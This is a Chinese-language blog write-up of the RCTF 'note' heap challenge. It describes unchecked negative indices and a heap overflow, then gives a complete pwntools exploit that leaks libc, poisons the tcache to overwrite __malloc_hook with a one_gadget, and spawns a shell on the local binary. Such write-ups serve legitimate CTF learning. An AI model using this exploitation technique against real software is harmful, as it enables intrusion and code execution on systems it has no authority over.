Rctf writeup

没去打比赛,留着慢慢复现~

0x1 note

现在刷来刷去,觉得堆体最大的作用就是让自己调试越来越熟练,看ida越来越熟练,没学到什么新的知识,后面要多刷能让自己学到东西的题目,多复现CVE了。

1.1 漏洞分析

  1. 所有的下标判断没有判断负数
  2. 有一个函数里存在堆溢出

1.2 利用技巧

  1. calloc不会使用tcache
  2. tcache链不会判断chunk的size

1.3 利用思路

  1. 用show泄露libc
  2. 用add和sell布置好tcache链
  3. 用溢出函数覆盖fd
  4. 三次malloc拿shell

1.4 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
sh = process('./note')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
def add(idx, size):
sh.recvuntil(": ")
sh.sendline('1')
sh.recvuntil('Index: ')
sh.sendline(str(idx))
sh.recvuntil(": ")
sh.sendline(str(size))

def sell(idx):
sh.recvuntil(": ")
sh.sendline('2')
sh.recvuntil(": ")
sh.sendline(str(idx))

def edit(idx, content):
sh.recvuntil(": ")
sh.sendline('4')
sh.recvuntil(": ")
sh.sendline(str(idx))
sh.recvuntil(': \n')
sh.send(content)

def show(idx):
sh.recvuntil(": ")
sh.sendline('3')
sh.recvuntil(': ')
sh.sendline(str(idx))

def once(idx,content):
sh.recvuntil(": ")
sh.sendline('7')
sh.recvuntil(": ")
sh.sendline(str(idx))
sh.recvuntil(': \n')
sh.send(content)

def New(content):
sh.recvuntil(": ")
sh.sendline('6')
sh.recvuntil(': \n')
sh.send(content)

#gdb.attach(sh)
show(-5)
data_addr = u64(sh.recv(8))
sh.recv(16)
libcbase = u64(sh.recv(8)) - 0x1e5760
one_gadget = libcbase + 0xe237f
log.success('data_addr: ' + hex(data_addr))
log.success('libc_base: ' + hex(libcbase))

#set money
payload = p64(data_addr) + p32(0xffffff)
edit(-5,payload+'\n')

#ready chunk
add(0,0x50)
add(1,0x50)
sell(1)


#tcache poision
malloc_hook = libcbase + 0x1e4c30
content = ''
content += 'a'*0x50
content += p64(0) + p64(0x61)
content += p64(malloc_hook)
once(0,content+'\n')

#malloc twice
New("a"+'\n')
sell(-2)
New(p64(one_gadget)+'\n')
sell(-2)
sh.recvuntil(': ')
sh.sendline('6')

#gdb.attach(sh)

sh.interactive()
-------------本文结束感谢您的阅读-------------
+ +